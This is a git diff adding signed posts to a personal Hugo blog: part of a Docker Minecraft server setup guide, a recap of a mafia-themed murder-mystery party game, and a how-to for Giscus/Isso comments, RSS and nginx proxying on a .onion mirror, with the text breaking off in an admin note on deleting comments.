have two good options: + +### Option A — Move Docker’s data off `/var` +```bash +sudo systemctl stop docker +sudo mkdir -p /home/docker +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/ +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json +sudo systemctl start docker +docker info | grep "Docker Root Dir" +``` +If all looks good, free the old space: +```bash +sudo rm -rf /var/lib/docker/* +``` + +### Option B — Grow `/var` (LVM) +Check free space in the VG: +```bash +sudo vgdisplay # look for "Free PE / Size" +``` +If available, extend `/var` by +5G: +```bash +sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var +sudo resize2fs /dev/mapper/ubuntu--vg-var +``` + +--- + +## The version mismatch: pre-release vs stable +My logs showed: +``` +Starting minecraft server version 1.21.9 Pre-Release 2 +``` +That happens if the server pulls a pre-release build (or if `VERSION=LATEST`). Fix: + +1. Ensure `.env` has: + ```env + VERSION=LATEST_RELEASE + ``` +2. Recreate: + ```bash + docker compose down + docker compose pull + docker compose up -d + ``` +3. Verify: + ```bash + docker logs mc | grep "Starting minecraft server version" + # -> Starting minecraft server version 1.21.1 (example) + ``` + +> Tip: If you **want to pin** and avoid auto-updates entirely, set `VERSION=1.21.1` (or whatever stable you’ve validated). + +--- + +## No whitelist +Because I don’t set `WHITELIST`/`ENFORCE_WHITELIST`, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via: +```bash +docker exec -it mc rcon-cli "op YourJavaIGN" +``` +(or edit `/data/ops.json`). + +--- + +## Backup & updates +- World/data live under the `mc-data` volume → back up `/data` regularly. +- Update cleanly: + ```bash + docker compose pull && docker compose up -d + ``` +- Watch space: + ```bash + watch -n5 'df -h /var; docker system df' + ``` + +--- + +## TL;DR +- Put **Geyser/Floodgate** jars in `./plugins` and expose **19132/udp**. +- Keep configs in `.env`. +- Fix `/var` space by pruning, **moving Docker’s data-root**, or **extending `/var`** via LVM. +- Verify version in logs after each change. + +Happy block-breaking! 🧱🚀 + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/minecraft_server.md.asc b/public-onion/sources/posts/minecraft_server.md.asc new file mode 100644 index 0000000..f0e872d --- /dev/null +++ b/public-onion/sources/posts/minecraft_server.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM +jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy +Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV +0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw +7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA +JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7 +OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc +s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz +g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r +NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH +F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX +sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M= +=NmxL +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/murder_mystery_night.md b/public-onion/sources/posts/murder_mystery_night.md new file mode 100644 index 0000000..0d99433 --- /dev/null +++ b/public-onion/sources/posts/murder_mystery_night.md @@ -0,0 +1,224 @@ + +--- +title: "La Plaza: The Falcones & the Morettis" +date: 2025-10-25T07:52:53Z +draft: false +tags: ["crime fiction","mafia","family tree","noir"] +showToc: true +summary: "Two dynasties in Sicily collide: a funeral party for a dead Don, a gilded heir with a fatal flaw, and a whisper-soft romance that could start a war." +--- + +Last night I attended a ZiS event called "the Murder Mystery night". + +The story was about two families. The Falcones, and the Moretti family. + +> Gold-embossed invitations arrive at **La Plaza** for a celebration of life honoring **Salvatore Falcone**, recently slain Don. All members of the Moretti family are invited to the party! + +## Family Trees + +{{< mermaid >}} +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph falcone["Falcone — current generation"] +direction TB +Salvatore["Salvatore Falcone
    dead boss"] +Serena["Serena
    widow (bosswife)"] +Salvatore -- Married --> Serena +%% row: siblings +subgraph falcone_row1[ ] +direction LR + Sophia["Sophia
    underboss"] + Massimo["Massimo
    lawyer"] + Fabiola["Fabiola
    financial
    advisor"] + Aurora["Aurora
    associate"] +end + +%% row: next generation +subgraph falcone_row2[ ] +direction LR + Lorenzo["Lorenzo
    fixer
    (Sophia's son)"] + Michelangelo["Michelangelo
    enforcer
    (Massimo's son)"] + Antonio["Antonio
    hitman"] +end + +Sophia --> Lorenzo +Massimo --> Michelangelo +Fabiola -- Married --> Antonio +end +{{< /mermaid >}} + +{{< mermaid >}} +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph moretti["Moretti family"] +direction TB +Benito["Benito
    boss"] +Nicoletta["Nicoletta
    bosswife"] +Claudia["Claudia
    ex wife"] +Benito -- Married --> Nicoletta +Benito -- Divorced --> Claudia + +%% row: children +subgraph moretti_row1[ ] +direction LR + Sergio["Sergio
    underboss"] + Lucia["Lucia
    associate"] +end +Benito -->|son| Sergio +Nicoletta -->|son| Sergio +Benito -->|daughter| Lucia +Claudia -->|daughter| Lucia + +%% row: Lucia's crew +subgraph moretti_row2[ ] +direction LR + Violetta["Violetta
    fixer"] + Santo["Santo
    enforcer"] +end +Lucia --> Violetta +Lucia --> Santo +end + +Enrico["Enrico
    finantial advisor"] +Benito ---|younger brother| Enrico +{{< /mermaid >}} + +--- + +## Who’s Who (quick dossiers) + +### Falcone notes +- **Salvatore Falcone (†)** — Former Don, killed under mysterious circumstances. +- **Serena** — Salvatore’s widow; trades in charm and influence, now vying for power—especially against Sophia. +- **Sophia** — Eldest sibling, longtime underboss; disciplined, feared; sees herself as rightful heir after Salvatore. +- **Massimo** — Younger brother; justice-minded, hardened by his wife’s death. +- **Aurora** — Youngest; underestimated as naive or harmless, but observant. +- **Fabiola** — Ambitious financial brain; growth-focused, clashes with tradition. +- **Antonio** — Fabiola’s husband; trusted hitman with careless drinking and looser lips than he should have. +- **Michelangelo** — Massimo’s son; enforcer torn by guilt over his mother’s murder. +- **Lorenzo** — Sophia’s son; quiet fixer who tidies messes, unflappable. + +### Moretti notes +- **Benito** — Calculating, paranoid Boss; obsessed with securing the bloodline through his son. +- **Nicoletta** — Benito’s wife; once a prostitute, now regal and cunning. +- **Sergio** — Only son; appointed underboss young. All glitter, charm…and a crack in the armor: the **game**. +- **Enrico** — Benito’s younger brother; accountant; clever, restless for influence. +- **Violetta** — The family’s ice-cold fixer; keeps things “clean,” whatever it costs. +- **Claudia** — Benito’s ex-wife; elegant, humiliated but dangerous in refined ways. +- **Lucia** — Daughter of Benito and Claudia; proud, protective, hungry for attention from the core family. +- **Santo** — Lucia’s son; bold, admired and doubted in equal measure. + +Aside from these characters, there were two additional characters. +Falcon's priest, who had confessions from every Falcon family member, and a prostitute who had slept with many of the characters in the story, and had dirt on them! + +> World sketch: the **Falcones** make problems *disappear* and launder fortunes behind bright lights and polished floors; the **Morettis** flaunt neon glamour while doing the real work in shadows. + +--- +After the introduction, I assumed the role of Sergio, heir to Benito and his apparent son, as the story unfolded. +All I knew was that on the night of the murder, I was not in Falcon's house, and that I was out in a casino with Aurora. + +I didn't know how little I know about the story until the middle of the game, where everyone was starting to spill the beans! It was insane how clueless I was. LMAO + +So, without further of do, let's dive riiiiiiiiiight in!!!! Weeeee haaaaa xD + +### Act I, the dinner +We arrived at the family party, dressed in colorful dresses, as it was supposed to be the celebration of life. +Or that's what was written in our invitations. + +The Falcons were in black, grieving a lost one, their beloved boss, Salvatore Falcone. + +The clash was instant as they though we were disrespectful to wear such cloths. +As Sophia, the organizer of the dinner, started to give us scary looks, Violetta came at her with no chill. + +She said, "I know what the purpose of this dinner is, you are accusing us of murder! But shall not heed. This is an insider job, a betrayal, and we will uncover it." + +The Falcones were not happy with any of it. Massimo, Michelangelo, Lorenzo, Antonio, and Serena went back at her for how dares she! +They said Why would they take it so far to accuse them of accusing us of murder. + +Violetta, our family’s ice-cold fixer, replied, "it is clear from our invitations, they are all crossed out on purpose. You want us to look bad, or someone from within is doing it with that intention". + +They went quiet. They were just as confused. Sophia invited us to sit down and eat in calm. We acknowledged and grabbed bites to eat. When all were happy and satisfied, we geared up for round two of discussions. + +While the game continued, the dinner also stood out. Every dish was delicious, beautifully prepared, and truly made the evening special. I want to give props to the organizer (won't name here out of privacy). Thank you again for such an amazing event! + +### Act II, the invitations + +Sophia looked at us with her death smile and said, "I was involved with 9 invitations, the ones to our family, and nothing more." + +The room went into a deep silence. What did she mean? Who made Moretti's invitations? Why were they crossed out? Why did it say it was a celebration of life, while it was a gathering of grief? Why did it ask Moretti's to wear colorful dresses, and not black like Falcones? Who was plotting this? Was this going to end in a bloodbath? Or will the families work it out? + +The occasion was grim, but the outcome was immense. Either the two sworn families rip this thin bond once and for all, or they will come out as stronger allies, ruling the lands under their influence with no power to stop them. + +Violetta then looked at Sophia with her dead eyes. Both families knew the fire was going to just grow stronger... + +### Act III, the evidence +Violetta asked Sophia for pictures of the crime scene. Sophia signaled Michelangelo to deliver, and he did. + +There were four pictures and a dissection report. Two of the pictures were from the bullet marks that had exited Salvatore's body from the other side. The third picture was of Salvatore's dead body, fallen on the ground in front of the set of stairs. The report stated two shots were fired, one to the head and one to the chest. Both exited the body and were fatal. The body was pushed down the stairs. According to the last picture and the dissection report, the two bullets had different calibers: a 9mm Luger and .243 WIN. + +Massimo got up from his sit, pointing to an article about her wife's death. He stated how this was similar to her death, and how she died "The Moretti way". "She was shot and pushed down the stairs. What other evidence do you need?" said Massimo. + +Benito replied calmly, "But Salvatore didn't die the Moretti way. We use one bullet, and push the victim down afterwards. We never miss.". "Salvatore was facing away from the stairs, according to the image, we never execute like that. We are not cowards.", said Sergio with a collected tone. + +Massimo wasn't convinced, but he knew they were right. He just could not forgive her wife's death. + +The room went into silence again. + +Violetta presented additional evidence: a picture of Salvatore with a police officer at a bar, alongside bank statements from Fabiola's accounting showing F&E laundering money for Salvatore. No one knew what F&E stood for, but Enrico and Fabiola were suspected. They remained silent, drawing suspicion, and eventually explained that the families were linked at Enrico and Salvatore's level, using the Falcones' casinos to clean cocaine profits, benefitting both sides. It was unclear if Benito knew or simply would not discuss it. + +In the picture, it can be seen that a note was being passed to Salvatore. It was hard to read, but it said: "Be careful". + +Serena pointed to Antonio, and he took out a piece of paper of the family's weekly report. It was stated that Sergio and Aurora had been seen together multiple times. But why? Sergio does live a lavish lifestyle. He regularly goes to casinos, sometimes suspiciously wins large amounts, and sometimes loses a fortune. When confronted about this, he just said he enjoyed the company. But what business did the heir to Moretti's have with the youngest of the Falcones? + +Lorenzo and Michelangelo pushed this matter further. They claimed Michelangelo was tasked to get dirt on them, and to envolve Antonio if needed. In the back of a picture taken of the two of them (Sergio and Aurora) in the casino, it was written that this is abnormal behaviour, and that they should be careful with Sergio. Antonio's report also stated the same, that they should be mindful of Sergio. Sergio only mentioned that he was not at Falcones' that night, and that he was in a casino with Aurora; no further explanation was provided by him. + +Aurora didn't budge either. + +Sergio changed the subject swiftly. He pointed to the gun used for the murder and said, "Doesn't that look like Santo's gun? Where were you that night, Santos?". "I was at home, with my mother", Santos replied, and Lucia nodded. + +It felt like this conversation was going nowhere. Sophia asked the priest and the prostitute to speak up. + +### Act IV, the confessions + +The priest came into the room. He mentioned that Aurora had confessed to being in love with Serio. That Antonio had wittnessed he is cheating on Fabiola with Lorenzo, that Michelangelo was mad about finding out Fabiola was working with Morettis, and that Salvatore had know this for a long time. He mentioned how Salvatore had changed his will before his death from giving everything to his heir, Sophia, to whoever uncovers how he dies. He mentioned how Serena had heard "there was another heir to Salvatore's fortune", that she was paranoid now, that all the time he asked for an heir, he wanted a son, not a child. + +The prostitute continued, "Benito ordered to kill her mistress before the child was born, but he didn't manage". She said how Sergio had told him after getting drunk that he did not like women, but used them to his advantage. + +Claudia wasn't feeling well. She loved her daughter Lucia, but was she the mistress? Why did Benito leave her for Nicoletta? A former prostitute. Did he order them to kill her? + +The prostitute then continued. "Sergio is not Benito's son". Violetta showed a piece of paper indicating that DNA results show he is indeed not Benito's son. Benito smiled. "Sergio is my son, even if not my blood. He slept with Aurora, this prostitute, Fabiola, and Sophia for our cause." + +Sergio did not smile, or any changes in his face. He was ice-cold. + +It was still not clear who plotted to kill Salvatore. Everyone was confused. + +It was time for deduction. + +### Act V, the killer(s) + +After a long discussion between all the family members, these were the conclusions. + +It was evident that Serena was in her part of the mansion, far from Falcone. A different house. Antonio was chilling at his house with Fabiola. Massimo claimed he was at his office, working on cleaning family from some cases. Aurora was with Sergio in a casino. Benito, Lucia, Santo, Claudia, Enrico, and Nicoletta were at Moretti's. That left Michelangelo, Lorenzo, and Violetta. No one knew what they were doing or where they were. + +Initially, Michelangelo and Lorenzo claimed they were following Sergio and Aurora, but the evidence showed they were there only for a fraction of the night. + +If everyone was telling the truth, one or two of Michelangelo, Lorenzo, and Violetta were the killers. From the confessions the priest provided, Michelangelo had the most valid motivation for this killing. He was not happy about the family's side business with the killer of her mother. He was not happy that Salvatore did not care. But there were two different guns used. Did Lorenzo really help take out the head of the family? But why? + +Lorenzo had affairs with Antonio, and he knew Fabiola was working with Enrico to launder money. It was the perfect plan. The two of them would kill Salvatore, make it look like Fabiola and Enrico killed the head of the family by making it look like "The Moretti" way. Then Lorenzo gets to Antonio, and +Michelangelo would take his revenge. Sergio would also not get his hand on Salvatore's money, as with all ties broken, no one would suspect he was Salvatore's son. Nicoletta would also not talk, as she would lose everything if she confessed. + +Although all evidence was against Lorenzo and Michelangelo, they did not confess. Violetta had to break it to them again. She said she was at Falcones on the night of the murder to get dirt on them. She said she was hiding in a closet, and that she saw everything. She said that she even has pictures and soundproof of all that happened. When asked why she didn't mention any of this earlier, she said she wanted to see how far they would go with this, and how much the lie, and what they had plotted. She also wanted to gather more information from whatever people said during these discussions. What a clever fixer! A true piece of treasure from Moretti's side. + +It was over for Lorenzo and Michelangelo. Lorenzo burst into tears after all of this. He said that Sophia was not protecting the family as the underboss and heir. How could she lose her title if the fact about Sergio were known someday? + +Sophia was just disappointed with all of this. She didn't budge. + + +### The epilogue +Most people weren't sharing what they knew not to become sus! I didn't talk to everyone, but for example, the person who played Santo's role said his card stated he was cleaning his 9mm pistol on the night of the murder. He never mentioned this. Though this would through suspicion on him, when Lucia and other members vouched that he was at home with them, we would not have been misled by some random fact that his pistol was missing, or that one of the murder weapons looked like his. I think there was a lot of information that people either mispresented or decided not to. This ruined the flow of the story. I'm not sure if Violetta had to say she was hiding in the closet or not, but it was really late, and I think we were not sure who the killers really were, since people weren't presenting everything they knew. + +Overall, this was the most fun event I have ever attended from ZiS. Everything was perfect, and the organizer was amazing. I would say the person who organized this event is the best of the tutors! They had also organized a game night where we played many fun games online, which was my second most favorite event! Thank you so incredibly much once again for the event! + +--- + +{{< sigdl >}} diff --git a/public-onion/sources/posts/murder_mystery_night.md.asc b/public-onion/sources/posts/murder_mystery_night.md.asc new file mode 100644 index 0000000..c94a370 --- /dev/null +++ b/public-onion/sources/posts/murder_mystery_night.md.asc @@ -0,0 +1,16 @@ +-----BEGIN PGP SIGNATURE----- + +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM +jSp8sg/9HQfL6MJNbK9138ynptOPkYSjDMyEhaI9GfmV2MRlSwkipwWO2GdLstm+ +bc8KNd1E5TQknN21P24dMqkQ2iDm6s0bDsVQ4X/iZfTwBBoGOD5Z2WvqBUqZo04d +ddb4Vk3fqB8hRpcDvqLM3iawn4a5vxGR3tvN16XrGZuyedHFi4YELLIHB0ks3b2p +zr6zHOniJ1aCSju8WS28cUMjNz+xCIBKLaHhiZjJ4yQaQVG456VIHCfYYNLo7gwj +3lGViTWg273r6YtxIOQBITPXp1Xib8AFubO7Cs1mTo9sEZcWdWFWslAmTLRiHt0x +4E58Ob8u/DDfmJrJlzNT/XABcqmLPrs/vAtT8jZNAKRyvtlCN+q2hB6Bu1tndVPH +qIrSt7ykMhhDYz6A6MzXkwIKG+lC6sygqISnL8NLnzOJVGy5Jl1Ig82g8DJI7qDJ +nh4a+E1ts4Iec2ASQtsZFfSlEcoKjXYbZ9npr8jg2temUxIMYq94L/Zeh0o+Ymxp +Qy7GC0YNddKgcvsPX/GwealKrCjRNIWuVogF/q86ASKAyZxDtWsAryOTufu7eV1T +QC68HqpwR8bvVPbmIk7l4vQSOXNjZuqaMOOkpFvMkwyOoAyRpmI9ksj0v5GllpIC +AidP1vQUUJUGtXbiW0vMufUc/fyulH1o0LCfwTLJoTyiBEwjNsw= +=3iUy +-----END PGP SIGNATURE----- diff --git a/public-onion/sources/posts/new_features.md b/public-onion/sources/posts/new_features.md new file mode 100644 index 0000000..1ead872 --- /dev/null +++ b/public-onion/sources/posts/new_features.md @@ -0,0 +1,759 @@ ++++ +title = "New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)" +description = "A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod." +date = 2025-10-23T19:31:12+02:00 +draft = false +slug = "comments-rss-papermod" +ShowToc = true +TocOpen = true +tags = ["hugo", "papermod", "giscus", "rss", "comments"] +categories = ["blog", "meta"] ++++ + +> Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site. +> Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did. + +--- + +I've been wanting to add comment section to my blog for a while. +There are a few problems. +- I don't want to get attacked by bots or random people for no reason. +- I don't want to allow weird things to happen. +- I don't want to have a database for it. + +So... I decided to take a path which is not necesserially the best. +It requires a third party to act on your behalf, but it is not as scary as it sounds. +According to Github: + +> **What the app can do** +> The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do. + +> **What “Act on your behalf” means** +> That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed. + +> **Do commenters have alternatives?** +> Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this. + +> **Privacy & storage** +> No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings. + +With the notice out of the way let's dive right in! + +--- + +## Why I chose Giscus (instead of Disqus) + +- **No ads or trackers** (my page weight thanks me). +- **Uses GitHub Discussions** (portable, transparent, easy to search). +- **Readers log in with GitHub** (no mystery auth popups). +- In theory you can directly go to the repo's discussion section and comment there! + +--- + +## What you need (for your site, not per user) + +- A Hugo site using **PaperMod** ✅ +- A GitHub account ✅ +- A **public** repository for the discussion threads (I called mine `blog-comments`) with **Discussions** enabled ✅ +- Giscus app installed on that repo ✅ + +If you like to keep your main site repo clean, use a separate one, e.g. `github-username/blog-comments`. + +--- + +## 1) Turn on comments with Giscus + +PaperMod renders a `comments.html` partial when `params.comments = true`. +So we enable it in config and create the partial. + +### 1.1 Enable comments globally + +`hugo.toml` (snippet) +```toml +[params] + comments = true +``` + +You can still opt out per post with `comments = false` in front matter. + +### 1.2 Create the comments partial + +Create this file **in your site** (not inside the theme): +``` +layouts/partials/comments.html +``` + +Paste the Giscus embed (swap the placeholders with yours from giscus.app): + +```html +
    + + +
    +``` + +**Notes** +- You’ll get `repo-id` and `category-id` from **giscus.app** after picking your repo + category. +- `data-mapping="pathname"` works great for static sites. +- Prefer a **public** repo so visitors can read discussions without friction. +- Want a different language? Change `data-lang` (e.g., `de`, `fr`). + +--- + +## 2) Enable RSS (home + sections) + +Hugo already knows how to generate feeds; we just tell it where. + +`hugo.toml` +```toml +baseURL = "https://example.com/" # set your production URL + +[outputs] + home = ["HTML", "RSS", "JSON"] # JSON is optional (e.g., for on-site search) + section = ["HTML", "RSS"] + taxonomy = ["HTML", "RSS"] + term = ["HTML", "RSS"] + +[services.rss] + limit = -1 # -1 = no cap; or set e.g. 20 +``` + +**Feed URLs** +- Home feed: `/index.xml` → `https://example.com/index.xml` +- Section feeds: `/posts/index.xml`, `/notes/index.xml`, etc. (folders are lowercase) + +> If you’re using a `.onion` address or staging domain, just set that in `baseURL`. +> Locally, Hugo serves feeds at `http://localhost:1313/index.xml`. + +--- + +## 3) Show an RSS button on the home page + +PaperMod shows a nice RSS icon on **section/taxonomy** lists by default (when enabled), but not on the home page. Two options: + +### Option A — Use the home “social icons” row +This appears if you enable **Home-Info** or **Profile** mode: + +```toml +[params.homeInfoParams] + Title = "Hello, internet!" + Content = "Notes, experiments, and occasional rabbit holes." + +[[params.socialIcons]] + name = "rss" # lowercase matters + url = "/index.xml" +``` + +### Option B — Add an icon in the footer (theme-safe) +Create: +``` +layouts/partials/extend_footer.html +``` + +Paste: +```html + + {{ partial "svg.html" (dict "name" "rss") }} + RSS + +``` + +Make it a sensible size: + +Create: +``` +assets/css/extended/rss.css +``` + +Paste: +```css +/* Small & aligned RSS icon in the footer */ +.rss-link { display: inline-flex; align-items: center; gap: .35rem; } +.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/ +.rss-link span { font-size: .95rem; } +``` + +PaperMod auto-bundles anything under `assets/css/extended/`, so no extra imports needed. + +--- + +## 4) Verify everything + +Build or run dev: +```bash +hugo # outputs to ./public +# or +hugo server # serves at http://localhost:1313 +``` + +Check feeds: +```bash +# Home feed: +curl -s http://localhost:1313/index.xml | head + +# A section feed (adjust path to your section name): +curl -s http://localhost:1313/posts/index.xml | head +``` + +Check comments: +1. Open any post locally. +2. Scroll to the bottom — Giscus should appear. +3. Try a reaction or comment (you’ll be prompted to sign in with GitHub). + +--- + +## 5) Per-post controls (handy later) + +Turn comments off for a single post: +```toml +# in that post’s front matter +comments = false +``` + +Full content in RSS (global): +```toml +[params] + ShowFullTextinRSS = true +``` + +Show RSS buttons on section/taxonomy lists: +```toml +[params] + ShowRssButtonInSectionTermList = true +``` + +--- + +## 6) Troubleshooting (aka “what I bumped into”) + +- **Home page has no RSS icon** + That’s expected; either enable Home-Info/Profile mode + `socialIcons`, or use the footer partial. + +- **Section feed 404** + Folder names are lowercase (`content/posts/`, not `content/Posts/`). + The URL mirrors that: `/posts/index.xml`. + +- **Giscus doesn’t create a discussion** + Double-check the four attributes: `data-repo`, `data-repo-id`, `data-category`, `data-category-id`. + Make sure Discussions is enabled and the Giscus app is installed for the repo. + +- **Icon is comically large** + Keep the CSS above; 16–20px usually looks right. + +--- + +## 7) Bonus: fast setup via GitHub CLI (optional, I didn't use it, but I should've perhaps) + +```bash +# Create the public comments repo (adjust names) +gh repo create yourname/blog-comments --public -d "Blog comment threads" --confirm + +# Enable Discussions for it +gh repo edit yourname/blog-comments --enable-discussions +``` + +Then visit **giscus.app**, select the repo + category (e.g. “Comments”), and copy the generated IDs into `layouts/partials/comments.html`. + +--- + +### Final config snapshot (condensed) + +```toml +baseURL = "https://example.com/" +theme = "PaperMod" + +[outputs] + home = ["HTML", "RSS", "JSON"] + section = ["HTML", "RSS"] + taxonomy = ["HTML", "RSS"] + term = ["HTML", "RSS"] + +[services.rss] + limit = -1 + +[params] + comments = true + ShowRssButtonInSectionTermList = true + ShowFullTextinRSS = true + +# Optional if using Home-Info/Profile mode: +# [[params.socialIcons]] +# name = "rss" +# url = "/index.xml" +``` +--- + +# Appendix — Why I added Isso, how I wired it, and what I fixed + +## The story (why Isso + why I still keep Giscus) + +I wanted comments that: +- allow **anonymous** replies (no GitHub account required), +- are **lightweight** and **self-hosted**, and +- can work on my **Tor `.onion` mirror**. + +**Isso** checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of **Giscus** (comments are GitHub Discussions), so I kept both and added a little switcher UI: **“Anonymous (Isso)”** or **“GitHub (Giscus)”**. + +Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus). + + +## How I run it (high-level) + +- **Site:** Hugo + PaperMod +- **Isso:** listening on `127.0.0.1:8080`, stored locally (SQLite) +- **Nginx:** reverse-proxies **`/isso/`** to Isso on both the clearnet and the `.onion` vhost +- **Hugo partial:** renders the two panels (Isso & Giscus) and a switcher; Giscus is **lazy-loaded** and **auto-rethemed** with the site theme + +> I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the **Nginx proxying** and the **Hugo partial**. + + +## Hugo partial: switcher + embeds + +Save as `layouts/partials/comments.html` and include it in your single layout (e.g. `layouts/_default/single.html`) with `{{ partial "comments.html" . }}`. + +```html + +
    + + + Open on GitHub ↗ +
    + + +
    +
    + + + Comments powered by Isso + +
    + + + + + +``` + + +## Nginx: proxy Isso on **both** sites (and avoid the 404-onion trap) + +The bug I hit: my `.onion` server had a regex static block that **won over** the plain `/isso/` location, so `/isso/js/embed.min.js` returned **404**. + +**Fix:** make `/isso/` a `^~` prefix location so it beats regex, and place it **above** the static block. + +```nginx +# /etc/nginx/sites-enabled/onion-blog (same idea for the clearnet vhost) +server { + listen 127.0.0.1:3301 default_server; + server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost; + + add_header Referrer-Policy no-referrer always; + add_header X-Content-Type-Options nosniff always; + add_header X-Frame-Options SAMEORIGIN always; + + root /srv/hugo/mysite/public-onion; + index index.html; + + location / { try_files $uri $uri/ /index.html; } + + # /isso -> /isso/ + location = /isso { return 301 /isso/; } + + # IMPORTANT: this must beat regex locations below + location ^~ /isso/ { + proxy_pass http://127.0.0.1:8080/; # Isso container/port + proxy_http_version 1.1; + proxy_set_header Host $host; + proxy_set_header X-Forwarded-Host $host; + proxy_set_header X-Forwarded-Proto $scheme; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_redirect off; + proxy_read_timeout 60s; + } + + # static + location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ { + access_log off; + add_header Cache-Control "public, max-age=31536000, immutable"; + try_files $uri =404; + } +} +``` + +Reload and smoke test: + +```bash +sudo nginx -t && sudo systemctl reload nginx +curl -I http:///isso/js/embed.min.js # expect 200 +``` + +> If you ever point `data-isso` to a **different origin**, add CORS headers on that vhost. For same-origin (`data-isso="/isso"`), you don’t need CORS. + + +## Small CSS tweaks (one color across light/dark + spacing) + +I wanted the same blue for **reply / edit / delete** links and for **Submit / Preview** buttons, in both themes, and a little spacing: + +```css +/* put this in your site CSS */ +:root { --btn-blue: #2563eb; } /* adjust to taste */ + +/* Isso form buttons */ +.isso-post-action input[type="submit"], +.isso-post-action input[name="preview"] { + background: var(--btn-blue) !important; + color: #fff !important; + border: none; + padding: .5rem .75rem; + border-radius: .4rem; + cursor: pointer; +} + +/* link actions under comments */ +.isso-comment-footer a { + color: var(--btn-blue) !important; + margin-right: .5rem; /* gives "edit" and "delete" some breathing room */ + text-decoration: none; +} +.isso-comment-footer a:hover { text-decoration: underline; } + +/* keep name/email/website stacked, slightly larger */ +.isso-auth-section .isso-input-wrapper { + display: block; + margin: .35rem 0; +} +.isso-auth-section label { font-size: .95rem; } +.isso-auth-section input[type="text"], +.isso-auth-section input[type="email"], +.isso-auth-section input[type="url"] { + width: 100%; + font-size: 1rem; + padding: .5rem .6rem; +} +``` + + +## What changed (the fixes I actually made) + +1. **Theme correctness for Giscus.** + PaperMod doesn’t add `.light`—it only toggles `.dark` and stores `pref-theme`. I now: + - read `localStorage.pref-theme` first, + - fall back to class/data-theme, then + - fall back to OS preference. + I also re-theme the Giscus iframe on every toggle via `postMessage`. + +2. **Isso over Tor.** + On the `.onion` vhost, I moved the proxy to a `^~ /isso/` block so it beats the static regex. That fixed the `404` on `/isso/js/embed.min.js`. + +3. **UI polish.** + - Unified button/link color across themes, + - ensured “edit”/“delete” aren’t touching, + - kept the author/email/website inputs **stacked**, and + - left **Submit**/**Preview** styled and grouped. + + +## Sanity check + +- Toggle the theme: Giscus switches between `noborder_light` and `dark_dimmed` without reload. +- Open DevTools → Network on onion: `/isso/js/embed.min.js` loads with **200**. +- Switcher buttons swap panels instantly; Giscus only loads when clicked. + + + +## 8) Final notes! +I could not fully fix the style of Isso. +CSS is not easy... drat! + +I don't think anyone actually reads the blog, let alone comment on it. +But it felt cool to have a comment section and also RSS for it. +I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I'm happy with it! ^^ + + +# Admin note — Delete all **Isso** comments for a single post + +This note is for future me: how to remove every comment tied to one post in **Isso**. +Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or `.onion` — because this operates directly on the database. + +--- + +## TL;DR (host with SQLite) + +> Replace the placeholders for `DB` and `POST_URI` first. + +```bash +# 0) Variables — edit these two lines for your setup +DB="/var/lib/isso/comments.db" # path to your Isso SQLite DB (check isso.conf: [general] dbpath) +POST_URI="/posts/skin_routine/" # the 